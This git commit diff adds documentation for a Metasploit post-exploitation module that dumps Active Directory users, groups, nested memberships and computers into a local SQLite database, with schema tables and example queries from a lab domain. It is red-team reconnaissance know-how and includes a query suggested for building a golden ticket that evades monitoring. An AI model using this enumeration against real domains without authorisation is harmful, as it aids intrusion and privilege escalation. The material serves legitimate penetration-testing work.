Merge branch 'master' of github.com:rapid7/metasploit-framework into bug/MS-247/OpenVas-default-workspace
commit
6105822268
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.20)
|
||||
metasploit-framework (4.11.21)
|
||||
actionpack (>= 4.0.9, < 4.1.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
|
|
@ -0,0 +1,521 @@
|
|||
This is a post exploitation module which has the effect of copying the AD groups, user membership
|
||||
(taking into account nested groups), user information and computers to a local SQLite database.
|
||||
This is particularly useful for red teaming and simulated attack engagements because it offers
|
||||
the ability to gain situational awareness of the target's domain completely offline. Examples of
|
||||
queries that can be run locally include:
|
||||
|
||||
* Identification of members in a particular group (e.g. 'Domain Admins'), taking into account
|
||||
members of nested groups.
|
||||
* Organizational hierarchy information (if the manager LDAP attribute is used).
|
||||
* Ability to determine group membership and user membership (e.g. 'What groups are these users a
|
||||
member of?', 'What users are members of these groups?', 'List all members who are effectively
|
||||
members of the Domain Admins group who are not disabled' etc)
|
||||
* Expansion of the userAccountControl and sAMAccountType variables for querying ease.
|
||||
* Generation of a list of DNS hostnames, computer names, operating system versions etc of each
|
||||
domain joined computer.
|
||||
* Identification of security groups that have managers.
|
||||
* Exporting anything above in different formats, including those which can be imported into
|
||||
other tools.
|
||||
|
||||
## Mechanism
|
||||
|
||||
This module makes heavy usage of ADSI and performs the following basic steps:
|
||||
|
||||
**User and group acquisition**
|
||||
|
||||
* Perform an ADSI query to list all active directory groups and store them in the local ad_groups
|
||||
table (parsing attributes which contain flags).
|
||||
* Loop through them and, for each group, launch another LDAP query to list the effective members of
|
||||
the group (using the LDAP_MATCHING_RULE_IN_CHAIN OID). The effect is that it will reveal all
|
||||
effective members of that group, even if they are not direct members of the group.
|
||||
* For each user, perform another query to obtain user specific attributes and insert them into the
|
||||
local ad_users table.
|
||||
* Insert a new row into the ad_mapping table associating the user RID with the group RID.
|
||||
|
||||
**Computer acquisition**
|
||||
|
||||
* Perform an ADSI query to list all computers in the domain.
|
||||
* Parse any attributes containing flags (userAccountControl, sAMAccountType) and insert them into
|
||||
the local ad_computers table.
|
||||
|
||||
## Module Specific Options
|
||||
|
||||
Option | Purpose
|
||||
--------------- | --------
|
||||
GROUP_FILTER | Additional LDAP filters to apply when building the initial list of groups.
|
||||
SHOW_COMPUTERS | If set to TRUE, this will write a line-by-line list of computers, in the format: ```Computer [Name][DNS][RID]``` to the console. For example: ```Computer [W2K8DC][W2K8DC.goat.stu][1000]```
|
||||
SHOW_USERGROUPS | If set to TRUE, this will write a line-by-line list of user to group memberships, in the format: ```Group [Group Name][Group RID] has member [Username][User RID]```. For example: ```Group [Domain Users][513] has member [it.director][1132]```. This can be used mainly for progress, but it may be simpler to cat and grep for basic queries. However, the real power of this module comes from the ability to rapidly perform queries against the SQLite database.
|
||||
|
||||
## SQLite Database
|
||||
|
||||
**Construction**
|
||||
|
||||
The following tables will be present in the local SQLite database. The ad_* tables use the RID of
|
||||
the user, computer or group as the primary key, and the view_mapping table effectively joins the
|
||||
ad_mapping table with ad_users.* and ad_groups.* by RID.
|
||||
|
||||
Note that the purpose of the less obvious flags is documented in the source code, along with
|
||||
references to MSDN and Technet where appropriate, so this can be easily looked up during an
|
||||
engagement without needing to refer to this page.
|
||||
|
||||
Table Name | Purpose
|
||||
------------ | --------
|
||||
ad_computers | Information on each of the domain joined computers.
|
||||
ad_users | Information on each of the domain users.
|
||||
ad_groups | Information on each of the active directory groups.
|
||||
ad_mapping | Links the users table to the groups table (i.e. can be used to show which users are effectively members of which groups).
|
||||
view_mapping | Joins the ad_mapping table to the ad_users and ad_groups table, provided for convenience. This will be the table that most queries will be run against.
|
||||
|
||||
Within each table, the naming convention for the columns is to prefix anything in the
|
||||
ad_computers table with c_, anything in the ad_users table with u_ and anything in the
|
||||
ad_groups table with g_. This convention makes the joins between tables much more intuitive.
|
||||
|
||||
**ad_computers**
|
||||
|
||||
The table below shows the columns in the ad_computers table. The fields in capitals at the end
|
||||
(c_ADS_* and c_SAM_*) are expanded from the userAccountControl and sAMAccountType attributes to
|
||||
provide an easy way to perform the queries against individual flags.
|
||||
|
||||
Column Name | Type | Purpose
|
||||
------------------------------------------------ | ------- | --------
|
||||
c_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
|
||||
c_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
|
||||
c_cn | TEXT | The name that represents an object. Used to perform searches.
|
||||
c_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
|
||||
c_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
|
||||
c_dNSHostName | TEXT | The name of computer, as registered in DNS.
|
||||
c_displayName | TEXT | The display name for an object. This is usually the combination of the users first name, middle initial, and last name.
|
||||
c_logonCount | INTEGER | The number of times the account has successfully logged on. A value of 0 indicates that the value is unknown.
|
||||
c_userAccountControl | INTEGER | Flags that control the behavior of the user account. See [Use-Account-Control attribute](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832%28v=vs.85%29.aspx) for a description, but they are also parsed and stored in the c_ADS_UF_* columns below.
|
||||
c_primaryGroupID | INTEGER | Contains the relative identifier (RID) for the primary group of the user. By default, this is the RID for the Domain Users group.
|
||||
c_badPwdCount | INTEGER | The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
|
||||
c_description | TEXT | Contains the description to display for an object.
|
||||
c_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
|
||||
c_operatingSystem | TEXT | The Operating System name, for example, Windows Vista Enterprise.
|
||||
c_operatingSystemServicePack | TEXT | The operating system service pack ID string (for example, SP3).
|
||||
c_operatingSystemVersion | TEXT | The operating system version string, for example, 4.0.
|
||||
c_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
|
||||
c_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
|
||||
c_ADS_UF_SCRIPT | INTEGER | If 1, the logon script is executed.
|
||||
c_ADS_UF_ACCOUNTDISABLE | INTEGER | If 1, the user account is disabled.
|
||||
c_ADS_UF_HOMEDIR_REQUIRED | INTEGER | If 1, the home directory is required.
|
||||
c_ADS_UF_LOCKOUT | INTEGER | If 1, the account is currently locked out.
|
||||
c_ADS_UF_PASSWD_NOTREQD | INTEGER | If 1, no password is required.
|
||||
c_ADS_UF_PASSWD_CANT_CHANGE | INTEGER | If 1, the user cannot change the password.
|
||||
c_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED | INTEGER | If 1, the user can send an encrypted password.
|
||||
c_ADS_UF_TEMP_DUPLICATE_ACCOUNT | INTEGER | If 1, this is an account for users whose primary account is in another domain. This account provides user access to this domain, but not to any domain that trusts this domain. Also known as a local user account.
|
||||
c_ADS_UF_NORMAL_ACCOUNT | INTEGER | If 1, this is a default account type that represents a typical user.
|
||||
c_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT | INTEGER | If 1, this is a permit to trust account for a system domain that trusts other domains.
|
||||
c_ADS_UF_WORKSTATION_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a computer that is a member of this domain.
|
||||
c_ADS_UF_SERVER_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a system backup domain controller that is a member of this domain.
|
||||
c_ADS_UF_DONT_EXPIRE_PASSWD | INTEGER | If 1, the password for this account will never expire.
|
||||
c_ADS_UF_MNS_LOGON_ACCOUNT | INTEGER | If 1, this is an MNS logon account.
|
||||
c_ADS_UF_SMARTCARD_REQUIRED | INTEGER | If 1, the user must log on using a smart card.
|
||||
c_ADS_UF_TRUSTED_FOR_DELEGATION | INTEGER | If 1, the service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. Any such service can impersonate a client requesting the service.
|
||||
c_ADS_UF_NOT_DELEGATED | INTEGER | If 1, the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation.
|
||||
c_ADS_UF_USE_DES_KEY_ONLY | INTEGER | If 1, restrict this principal to use only Data Encryption Standard (DES) encryption types for keys.
|
||||
c_ADS_UF_DONT_REQUIRE_PREAUTH | INTEGER | If 1, this account does not require Kerberos pre-authentication for logon.
|
||||
c_ADS_UF_PASSWORD_EXPIRED | INTEGER | If 1, the user password has expired. This flag is created by the system using data from the Pwd-Last-Set attribute and the domain policy.
|
||||
c_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | INTEGER | If 1, the account is enabled for delegation. This is a security-sensitive setting; accounts with this option enabled should be strictly controlled. This setting enables a service running under the account to assume a client identity and authenticate as that user to other remote servers on the network.
|
||||
c_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx) attribute. If 1, this flag is set.
|
||||
c_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
c_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
c_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
c_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
c_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
c_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
c_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
c_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
c_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
c_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
c_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
|
||||
**ad_users**
|
||||
|
||||
The table below shows the columns in the ad_computers table. The fields in capitals at the end
|
||||
(c_ADS_* and c_SAM_*) are expanded from the userAccountControl and sAMAccountType attributes to
|
||||
provide an easy way to perform the queries against individual flags.
|
||||
|
||||
Column Name | Type | Purpose
|
||||
------------------------------------------------| ------- | -------
|
||||
u_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
|
||||
u_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
|
||||
u_cn | TEXT | The name that represents an object. Used to perform searches.
|
||||
u_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
|
||||
u_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
|
||||
u_dNSHostName | TEXT | The name of computer, as registered in DNS.
|
||||
u_displayName | TEXT | The display name for an object. This is usually the combination of the users first name, middle initial, and last name.
|
||||
u_logonCount | INTEGER | The number of times the account has successfully logged on. A value of 0 indicates that the value is unknown.
|
||||
u_userPrincipalName | TEXT | Technically, this is an Internet-style login name for a user based on the Internet standard RFC 822. By convention and in practice, it is the user's e-mail address.
|
||||
u_displayName | TEXT | N/A
|
||||
u_adminCount | INTEGER | Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively).
|
||||
u_userAccountControl | INTEGER | Flags that control the behavior of the user account. See [User-Account-Control](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832%28v=vs.85%29.aspx) for a description, but they are also parsed and stored in the c_ADS_UF_* columns below.
|
||||
u_primaryGroupID | INTEGER | Contains the relative identifier (RID) for the primary group of the user. By default, this is the RID for the Domain Users group.
|
||||
u_badPwdCount | INTEGER | The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
|
||||
u_description | TEXT | Contains the description to display for an object.
|
||||
u_title | TEXT | Contains the user's job title. This property is commonly used to indicate the formal job title, such as Senior Programmer, rather than occupational class.
|
||||
u_manager | TEXT | The distinguished name of this user's manager.
|
||||
u_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
|
||||
u_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
|
||||
u_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
|
||||
u_ADS_UF_SCRIPT | INTEGER | If 1, the logon script is executed.
|
||||
u_ADS_UF_ACCOUNTDISABLE | INTEGER | If 1, the user account is disabled.
|
||||
u_ADS_UF_HOMEDIR_REQUIRED | INTEGER | If 1, the home directory is required.
|
||||
u_ADS_UF_LOCKOUT | INTEGER | If 1, the account is currently locked out.
|
||||
u_ADS_UF_PASSWD_NOTREQD | INTEGER | If 1, no password is required.
|
||||
u_ADS_UF_PASSWD_CANT_CHANGE | INTEGER | If 1, the user cannot change the password.
|
||||
u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED | INTEGER | If 1, the user can send an encrypted password.
|
||||
u_ADS_UF_TEMP_DUPLICATE_ACCOUNT | INTEGER | If 1, this is an account for users whose primary account is in another domain. This account provides user access to this domain, but not to any domain that trusts this domain. Also known as a local user account.
|
||||
u_ADS_UF_NORMAL_ACCOUNT | INTEGER | If 1, this is a default account type that represents a typical user.
|
||||
u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT | INTEGER | If 1, this is a permit to trust account for a system domain that trusts other domains.
|
||||
u_ADS_UF_WORKSTATION_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a computer that is a member of this domain.
|
||||
u_ADS_UF_SERVER_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a system backup domain controller that is a member of this domain.
|
||||
u_ADS_UF_DONT_EXPIRE_PASSWD | INTEGER | If 1, the password for this account will never expire.
|
||||
u_ADS_UF_MNS_LOGON_ACCOUNT | INTEGER | If 1, this is an MNS logon account.
|
||||
u_ADS_UF_SMARTCARD_REQUIRED | INTEGER | If 1, the user must log on using a smart card.
|
||||
u_ADS_UF_TRUSTED_FOR_DELEGATION | INTEGER | If 1, the service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. Any such service can impersonate a client requesting the service.
|
||||
u_ADS_UF_NOT_DELEGATED | INTEGER | If 1, the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation.
|
||||
u_ADS_UF_USE_DES_KEY_ONLY | INTEGER | If 1, restrict this principal to use only Data Encryption Standard (DES) encryption types for keys.
|
||||
u_ADS_UF_DONT_REQUIRE_PREAUTH | INTEGER | If 1, this account does not require Kerberos pre-authentication for logon.
|
||||
u_ADS_UF_PASSWORD_EXPIRED | INTEGER | If 1, the user password has expired. This flag is created by the system using data from the Pwd-Last-Set attribute and the domain policy.
|
||||
u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | INTEGER | If 1, the account is enabled for delegation. This is a security-sensitive setting; accounts with this option enabled should be strictly controlled. This setting enables a service running under the account to assume a client identity and authenticate as that user to other remote servers on the network.
|
||||
u_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx). If 1, this flag is set.
|
||||
u_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
u_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
u_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
u_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
u_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
u_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
u_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
u_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
u_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
u_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
u_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
|
||||
**ad_groups**
|
||||
|
||||
The table below shows the columns in the ad_groups table.
|
||||
|
||||
Column Name | Type | Purpose
|
||||
--------------------------------| ------- | -------
|
||||
g_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
|
||||
g_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
|
||||
g_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
|
||||
g_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
|
||||
g_adminCount | INTEGER | Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively).
|
||||
g_description | TEXT | Contains the description to display for an object.
|
||||
g_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
|
||||
g_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
|
||||
g_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
|
||||
g_managedby | TEXT | The manager of this group.
|
||||
g_cn | TEXT | The common name of the group.
|
||||
g_groupType | INTEGER | Contains a set of flags that define the type and scope of a group object. These are expanded in the g_GT_* fields below.
|
||||
g_GT_GROUP_CREATED_BY_SYSTEM | INTEGER | If 1, this is a group that is created by the system.
|
||||
g_GT_GROUP_SCOPE_GLOBAL | INTEGER | If 1, this is a group with global scope.
|
||||
g_GT_GROUP_SCOPE_LOCAL | INTEGER | If 1, this is a group with domain local scope.
|
||||
g_GT_GROUP_SCOPE_UNIVERSAL | INTEGER | If 1, this is a group with universal scope.
|
||||
g_GT_GROUP_SAM_APP_BASIC | INTEGER | If 1, this specifies an APP_BASIC group for Windows Server Authorisation Manager.
|
||||
g_GT_GROUP_SAM_APP_QUERY | INTEGER | If 1, this specifies an APP_QUERY group for Windows Server Authorisation Manager.
|
||||
g_GT_GROUP_SECURITY | INTEGER | If 1, this specifies a security group.
|
||||
g_GT_GROUP_DISTRIBUTION | INTEGER | If 1, this specifies a distribution group (this is the inverse of g_GT_GROUP_SECURITY). I have included it so that distribution groups can be identified more easily (query readability).
|
||||
g_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx). If 1, this flag is set.
|
||||
g_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
g_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
g_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
g_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
g_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
g_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
g_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
g_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
g_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
g_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
g_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
|
||||
|
||||
**ad_mapping**
|
||||
|
||||
The table below shows the columns in the ad_mapping table. This is used to link users to groups.
|
||||
|
||||
Column Name | Type | Purpose
|
||||
------------| ------- | -------
|
||||
user_rid | INTEGER | The RID of a user
|
||||
group_rid | INTEGER | The RID of a group
|
||||
|
||||
For example, if a particular record had a user_rid of 1000 and a group_rid of 1001, this would
|
||||
imply that the user whose RID is 1000 is a member of the group whose RID is 1001. Use the
|
||||
view_mapping view in order to do any meaningful queries, but its content is derived from this one.
|
||||
|
||||
**view_mapping**
|
||||
|
||||
This table is a combination of ad_groups.* and ad_users.*. Therefore, the fields are the
|
||||
combination of the u_* and the g_* fields shown above.
|
||||
|
||||
## Database Structure
|
||||
|
||||
There are a few design choices that I have deliberately made which I have given an explanation for
|
||||
below. This is because the reasons for them may not be obvious.
|
||||
|
||||
The users, groups and computers are based on the same class, so the "proper" way to do this would
|
||||
be to place them all into one table and then restrict results based on sAMAccountType to determine
|
||||
what type of object it is. In addition, the userAccountControl and sAMAccountType and groupType
|
||||
attributes have been split out into individual columns which is, from a technical point of view,
|
||||
unnecessary duplication.
|
||||
|
||||
The reason for this is ease of use; we are much more intuitively familiar with users, groups and
|
||||
computers being different objects (even if they are all really the same thing), and it is much
|
||||
easier to understand and formulate a query such as:
|
||||
|
||||
```
|
||||
SELECT u_sAMAccountName from ad_users where u_ADS_UF_LOCKOUT = 0 and u_SAM_NORMAL_USER_ACCOUNT = 1
|
||||
```
|
||||
|
||||
than:
|
||||
|
||||
```
|
||||
SELECT u_sAMAccountName from ad_users where ((u_userAccountControl&0x00000010) = 0) and ((u_sAMAccountType&0x30000000) > 0)
|
||||
```
|
||||
|
||||
This is also true of the sAMAccountType value; this is a code which has a 1:1 mapping with MSDN
|
||||
constants (i.e. they are not flags) and it would be more efficient to implement a simple lookup table.
|
||||
However, for consistency, I have implemented the columns for the possible values in the same way as
|
||||
the attributes which comprise multiple values in the form of flags.
|
||||
|
||||
This database is designed for quick-and-dirty queries, not to be an efficient AD database, and the
|
||||
benefits of the ease of access significantly outweighs the slight performance impact.
|
||||
|
||||
## Conversion to Unicode
|
||||
|
||||
All of the strings injected into the database have been converted to UTF-8 (encode('UTF-8')) which,
|
||||
at first glance, does not seem necessary. The reason is documented [here](https://github.com/rails/rails/issues/1965);
|
||||
namely that SQLite stores Unicode strings as 'text' but non-converted strings as 'blobs' regardless
|
||||
of the type affinity. Omitting the unicode conversion meant that most of the text queries did not
|
||||
work properly because the database was treating the text fields as raw binary data.
|
||||
|
||||
## Multi valued attributes
|
||||
|
||||
With the exception of the memberOf attribute, it is assumed that other attributes are single
|
||||
valued, which may result in a small about of information being missed. For example, the
|
||||
description attribute can (in some circumstances) be multi-valued but the ADSI queries will only
|
||||
return the first value.
|
||||
|
||||
This will not make any practical difference for the vast majority of enterprise domains.
|
||||
|
||||
## Database Queries
|
||||
|
||||
Sqlite3 supports a number of output formats (use .mode for all options). These can be used to
|
||||
easily present the searched data.
|
||||
|
||||
For example, line mode is useful to see all fields in an easy to view form. The example query
|
||||
searches for all information about the user whose username is 'unprivileged.user'
|
||||
|
||||
```
|
||||
sqlite> .mode line
|
||||
sqlite> select * from ad_users where u_sAMAccountName = "unprivileged.user";
|
||||
u_rid = 1127
|
||||
u_distinguishedName = CN=Unprivileged User,CN=Users,DC=goat,DC=stu
|
||||
u_description = Do not delete. Default pass set to password123
|
||||
u_displayName = Unprivileged User
|
||||
u_sAMAccountType = 805306368
|
||||
u_sAMAccountName = unprivileged.user
|
||||
u_logonCount = 1
|
||||
u_userAccountControl = 512
|
||||
u_primaryGroupID = 513
|
||||
u_cn = Unprivileged User
|
||||
u_adminCount = 1
|
||||
u_badPwdCount = 0
|
||||
u_userPrincipalName = unprivileged.user@goat.stu
|
||||
u_comment =
|
||||
u_title =
|
||||
u_manager = CN=Stuart Morgan - User,CN=Users,DC=goat,DC=stu
|
||||
u_whenCreated = 2015-12-20 20:10:54.000
|
||||
u_whenChanged = 2015-12-20 23:12:48.000
|
||||
u_ADS_UF_SCRIPT = 0
|
||||
u_ADS_UF_ACCOUNTDISABLE = 0
|
||||
u_ADS_UF_HOMEDIR_REQUIRED = 0
|
||||
u_ADS_UF_LOCKOUT = 0
|
||||
u_ADS_UF_PASSWD_NOTREQD = 0
|
||||
u_ADS_UF_PASSWD_CANT_CHANGE = 0
|
||||
u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0
|
||||
u_ADS_UF_TEMP_DUPLICATE_ACCOUNT = 0
|
||||
u_ADS_UF_NORMAL_ACCOUNT = 1
|
||||
u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT = 0
|
||||
u_ADS_UF_WORKSTATION_TRUST_ACCOUNT = 0
|
||||
u_ADS_UF_SERVER_TRUST_ACCOUNT = 0
|
||||
u_ADS_UF_DONT_EXPIRE_PASSWD = 0
|
||||
u_ADS_UF_MNS_LOGON_ACCOUNT = 0
|
||||
u_ADS_UF_SMARTCARD_REQUIRED = 0
|
||||
u_ADS_UF_TRUSTED_FOR_DELEGATION = 0
|
||||
u_ADS_UF_NOT_DELEGATED = 0
|
||||
u_ADS_UF_USE_DES_KEY_ONLY = 0
|
||||
u_ADS_UF_DONT_REQUIRE_PREAUTH = 0
|
||||
u_ADS_UF_PASSWORD_EXPIRED = 0
|
||||
u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0
|
||||
u_SAM_DOMAIN_OBJECT = 0
|
||||
u_SAM_GROUP_OBJECT = 0
|
||||
u_SAM_NON_SECURITY_GROUP_OBJECT = 0
|
||||
u_SAM_ALIAS_OBJECT = 0
|
||||
u_SAM_NON_SECURITY_ALIAS_OBJECT = 0
|
||||
u_SAM_NORMAL_USER_ACCOUNT = 1
|
||||
u_SAM_MACHINE_ACCOUNT = 0
|
||||
u_SAM_TRUST_ACCOUNT = 0
|
||||
u_SAM_APP_BASIC_GROUP = 0
|
||||
u_SAM_APP_QUERY_GROUP = 0
|
||||
u_SAM_ACCOUNT_TYPE_MAX = 0
|
||||
```
|
||||
|
||||
SQLite can generate output in HTML format with headers. For example, the query below displays the
|
||||
username, email address and number of times that the user has logged on for all users who have a
|
||||
manager with the word 'Stuart' somewhere in the DN.
|
||||
|
||||
```
|
||||
sqlite> .mode html
|
||||
sqlite> .headers on
|
||||
sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
|
||||
<TR><TH>u_sAMAccountName</TH>
|
||||
<TH>u_userPrincipalName</TH>
|
||||
<TH>u_logonCount</TH>
|
||||
</TR>
|
||||
<TR><TD>unprivileged.user</TD>
|
||||
<TD>unprivileged.user@goat.stu</TD>
|
||||
<TD>1</TD>
|
||||
</TR>
|
||||
sqlite>
|
||||
```
|
||||
|
||||
The same query can be used in INSERT mode, in which the results will be displayed as a series of
|
||||
SQL insert statements for importing into another database:
|
||||
|
||||
```
|
||||
sqlite> .mode insert
|
||||
sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
|
||||
INSERT INTO table(u_sAMAccountName,u_userPrincipalName,u_logonCount) VALUES('unprivileged.user','unprivileged.user@goat.stu',1);
|
||||
```
|
||||
|
||||
The default mode (list) will display the results with a pipe character separating the fields:
|
||||
|
||||
```
|
||||
sqlite> .mode list
|
||||
sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
|
||||
u_sAMAccountName u_userPrincipalName u_logonCount
|
||||
unprivileged.user unprivileged.user@goat.stu 1
|
||||
```
|
||||
|
||||
There are a number of other ways that this information could be presented; please play with SQLite
|
||||
in order to learn how to use them.
|
||||
|
||||
## Example Queries
|
||||
|
||||
A number of example queries are shown below, in order to give an idea of how easy it is to build up
|
||||
complex queries.
|
||||
|
||||
Search for all users who have a title, description or comment and display this information along
|
||||
with their username:
|
||||
|
||||
```
|
||||
select u_sAMAccountName,u_title,u_description,u_comment from ad_users where (u_title != "" or u_description != "" or u_comment != "");
|
||||
```
|
||||
|
||||
Display all stored fields for all users whose accounts are not disabled, have a password that does
|
||||
not expire, have a name starting with 'Frank' and have logged on more than once.
|
||||
|
||||
```
|
||||
select * from ad_users where u_ADS_UF_ACCOUNTDISABLE=0 and u_ADS_UF_DONT_EXPIRE_PASSWD=1 and u_cn LIKE 'Frank%' and u_logonCount>1;
|
||||
```
|
||||
|
||||
Get the list of group RIDs that have a name which do not have the word 'admin' in them somewhere
|
||||
(perhaps useful to construct a golden ticket with access to pretty much all groups except anything
|
||||
with 'admin' in it), might be useful to evade a very basic form of monitoring perhaps?
|
||||
|
||||
```
|
||||
select DISTINCT g_rid from ad_groups where g_sAMAccountName NOT LIKE '%admin%';
|
||||
```
|
||||
|
||||
Search for all users who are members of the 'Domain Admins' group and display their username.
|
||||
Note that this will include those in nested groups.
|
||||
|
||||
```
|
||||
select u_sAMAccountName from view_mapping where g_sAMAccountName = 'Domain Admins';
|
||||
```
|
||||
|
||||
Show the groups that the user 'stufus' is a member of and write the output to /tmp/groups.txt
|
||||
(e.g. for usage in a different tool):
|
||||
|
||||
```
|
||||
.once /tmp/groups.txt
|
||||
select g_sAMAccountName from view_mapping where u_sAMAccountName = 'stufus';
|
||||
```
|
||||
|
||||
